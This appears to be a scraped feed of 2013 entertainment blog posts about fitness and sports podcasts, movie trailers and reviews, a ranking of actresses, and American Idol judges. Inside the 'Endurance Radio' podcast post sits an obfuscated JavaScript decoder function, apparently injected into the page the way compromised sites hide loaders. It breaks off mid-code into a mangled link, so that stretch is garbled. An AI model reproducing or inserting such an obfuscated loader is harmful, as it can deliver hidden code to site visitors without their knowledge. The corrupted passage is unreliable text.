Ryan Raw Fitness Podcast

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Want to get fit with a new training podcast? Then tune in to Ryan Shanahan’s Ryan Raw Fitness Podcast, a podcast that brings you the best in fitness tips.

Shanahan is a Toronto & L.A.-based personal fitness trainer whose clients include celebrities, CEO-s and professional athletes. He’s popularly known for his expertise in kettlebell which has made waves in the fitness industry around the world for its benefits it brought. He’s teaching the basics up to advanced levels that develop innovative techniques.

Shanahan has also worked with top athletic trainers, physiotherapists, and athletes – both amateur and professional ranks that include players from NHL, NFL, Olympics, National Ballet of Canada, and The Royal Canadian Mounted Police as well as Hollywood actors.

This podcast also features discussions with fitness experts too so you’ll be assured that what you’ll be hearing are facts. Aside from fitness, Shanahan also discusses other things with his guest just like episode #17 wher he talks with Spencer Miller, Peak Performance Coach to multiple UFC Champions.

Listen to the episode here:

5 Reasons Why You Should Watch ‘Hangover 3′

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Image source: Movies.About.Com

The boys are back and it’s another adventure for them for sure. Bangkok was fun but nothing beats Vegas. The sequel, despite having all its major characters present, has something that’s lacking. And for the third and last installment for this record-breaking comedy flick, best friends Stu, Phil and Alan are back to where it all started, Vegas!

The storyline is quite thin, pretty much with the same vibe as its previous films, but it’s the adventures of these trio that will tickle your ribs the same way the first two installments did.

Here are 5 reasons why this film kicks ass and why you should see it.

Las Vegas. For the friends’ mischievous adventures, nothing beats this place. The glamor, glitter, pretty girls, yeah, it’s the place to be. Spoiler alert: Chow winds up gliding over the Bellagio Fountains and Eiffel Tower.

Chow. The first part saw little exposure of him, but after realizing that he’s one of the strengths in the film, he’s all over the third part this time.

John Goodman. John Goodman will always be John Goodman no matter what role he plays in a movie. He did pretty awesome here even if he’s just phoning in.

Baby Tyler. The cute and cuddly baby is now 4 years old, and his presence means one thing, the foxy Heather Graham is part of the cast also.

End credits. One of the biggest draw for this film is its end credits, showing all the adventures they had. For this part, hmm, I think you better see the film.

Sports is Everything, Triple Threat Podcast: Dwight Howard Interview

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If you’re into sports you might want to check out Sports is Everything’s Triple Threat Podcast. Bringing you the latest news updates in sports most notably basketball and the NBA, host Jabari Davis is also the co-founder and co-editor in chief of The OpinioNation and writes for the highly popular LakersNation.com.

For this featured episode, Davis is joined by Jamieson and OpinioNation member Jory Dreher. The show is proud to bring you an in-depth interview with Los Angeles Lakers center Dwight Howard. Playoffs this season may not be that good for the Lakers as injuries plagued the team, but the hosts definitely had a great time discussing hot topics with one of the best big men in the league.

Also in the show are Jordan Buscarini (host of Drive Time Sports) and Yorick Hempstead AKA @HempsteadHuddle on Twitter who join the gang for an all around NBA discussion.

Listen to the full episode here.

The Wolverine Latest Trailer Release

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Image source: Movies.Yahoo.Com

The latest trailer of The Wolverine has been unleashed and it shows Hugh Jackman’s character, a mutant who has the uncanny power of healing and immune from any physical harm, still in pain from Jean Grey’s death at the end of X-Men: The Lat Stand. Famke Janssen, who played the role of Jean Grey, makes a cameo appearance that would thrill the fans.

In this short scene, Janssen tries to comfort Jackman who swears that he’ll never ever hurt her or anyone again. But of course, it’s just a dream and as soon as he wakes up, the already bearded superhero is in for another hell of a ride.

Another factor to watch out for in the film is the villains. Wolverine’s arch nemesis The Silver Samurai (Will Yun Lee) is there to give him tough time definitely and the group of ninjas as well, as our hero goes to Japan to escape his memories of Jean Grey’s death only to find trouble with these bad guys.

Other notable characters present that fans know are Viper (who has a snake-like tongue in this version) played by Russian actress Svetlana Khodchenkova and the even more deadlier Yukio played by Rila Fukushima.

This promises to be the fiercest adventure for the adamantium-powered man in claw superhero and definitely worth the wait.

The Wolverine, directed by James Mangold, will hit theaters on July 26, 2013.

Jennifer Lawrence Reprises Role as Mystique in ‘Days of Future Past’

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Image source: Sodahead.Com

After appearing in The Hunger Games and winning an Oscar for Silver Linings Playbook, it seems like Jennifer Lawrence’s career is on a roll.

This time, you’ll be seeing Lawrence as a mutant for next summer’s X-Men: Days of Future Past. Production of the film has started and she’s reprising the role of the younger Mystique. The plot is based on the two-issue storyline of the same title in which the X-Men goes time traveling.

Lwrence's prosthetics and makeup aren't different from what she had on back in 2011’s X-Men: First Class. Each application of make-up would take six cosmetologists and seven hours in applying it.

This time around, a body suit has been designed to achieve the same look in less time and with less discomfort to the actress. Let's see how she turns out once the movie is out!

Endurance Radio Audio Interviews Podcast

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function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-Fitness/Endurance-Radio-Audio-Interviews-Podcast/6826#plink” target=”_blank”>Endurance Radio Audio Interviews Podcast is a podcast aired weekdays and hosted by Tim Bourquin. The podcast is all about endurance training, its different aspects, and different types of endurance sports that include triathlon, cycling, ultra-running, trail running, racing, swimming, and marathon running. It also has interviews from various professional athletes, coaches, race directors, adventure racers, cyclists, and club and association members and officers.

For this episode, topic is about digging through the archives that is the best of sports nutrition, fat burning, crazy coffee concoctions, alcohol consumption's impact on fat oxidation and nutrient absorption, and more.

Listen to the full episode here.

5 Hottest Actresses in Hollywood in 2013

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When you talk about hottest women in Hollywood, it’s definitely the most appealing topic to men as well as teens. Creating a list is such a difficult task as there are a lot to choose from, to newly introduced actresses to the more popular A-listers. Here is a list of 5 who has been active in 2013.

5. Megan Fox

The former Transformers actress has captured the fascination of most men. Her charming approach and beauty just made everyone mesmerized. She’s one of the most in-demand actresses around, appearing in magazines like FHM as well clothing ads.

4. Penelope Cruz

This Latina beauty has this innocent charm that made her one of the most successful actresses. Her career was already good but started to skyrocket furthermore after the huge success of Pirates of the Caribbean.

3. Jessica Alba

One of the most prominent names in Hollywood, Jessica has appeared in various films and holds the ‘Pretty girl of Hollywood’ title.

2. Bar Refaeli

Bar Refaeli has made a name after appearing in different advertisements, front cover in magazines and other modeling stints and it got the attention of Hollywood A-lister actor Leonardo DiCaprio.

1. Olivia Wilde

Olivia has this sizzling beauty that captures every guy’s dream girl. She has appeared in different television and film productions that include The O.C. House, Tron: Legacy, Cowboys & Aliens and The Incredible Burt Wonderstone.

Movie Review: ‘Star Trek Into Darkness’

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Image source: Mirror.Co.Uk

The much-anticipated sequel of one of the most beloved sci-fi series has hit it off with a new villain and more action-packed scenes. Star Trek Into Darkness probably is one of the summer’s biggest films to watch and should satisfy the fans out there.

The plot features the Enterprise team pitting up against an intergalactic terrorist who has waged war for mysterious reasons. The actors who played James T. Kirk (Chris Pine) and Mr. Spock (Zachary Quinto) did pretty well at reincarnating the characters popularized by William Shatner and Leonard Nimoy so this is very much like the old Star Trek in this respect.

Compared to the classic Star Trek shows, this one has more violence and action scenes, resulting in one enjoyable ride.

Does it disappoint? Well for someone who is a big fan and wanted to see some changes, it might, but if you’re like me who’s not a Trekkie, you’ll be fascinated.

[Editor's note: When Benedict Cumberbatch launched into his villainous monologue, all the women in the audience simultaneously got pregnant. That scene alone is worth it. - Carmela]

The Ultimate Movie Commentary Podcast: Evil Dead II

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If you’re a movie fanatic then this is a podcast you may want to check out. The Ultimate Movie Commentary is a broadcast show that brings you commentary tracks for the most film franchises.

The show features different movies that the hosts have seen on theaters and DVDs and they give their synopses on them.
So for this show, well you’ve got to have a copy of the movie they’re reviewing be it on Blu-Ray, DVD or digital copy to keep up with their discussion and understand the story behind the film.

Here’s an episode about the movie Evil Dead II (eviler and deader according to them) wherein the hosts discuss what they’ve noticed about the film. For them it was a bit of disappointment as it featured only minor changes, with scenes being almost similar to the original. So basically they’ve spent more for a movie that offers the same things as the original.

Listen to the entire episode here.

Nicki Minaj to Leave Next Season of ‘American Idol’

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Image source: Usmagazine.Com

After Randy Jackson’s announcement of his departure on American Idol, Nicki Minaj is set to follow his footsteps. According to reports, Minaj will focus on her upcoming tours, business deals and her next album.

The hiphop singer joined the reality singing contest on FOX network this season with fellow new judges country singer Keith Urban and Mariah Carey. During her brief stint, she had some issues with Mariah Carey that she even went on a rant against the diva via her Twitter account. Both had clashed on and off the air and Minaj slammed Mariah at one point as being insecure and bitter.

Carey hasn’t commented yet about her future with the show while Urban has remained silent whether he will be back for its 13th season.

With Randy Jackson out of the singing contest as judge for 12 seasons, and Minaj leaving as well, who would you think are better replacements?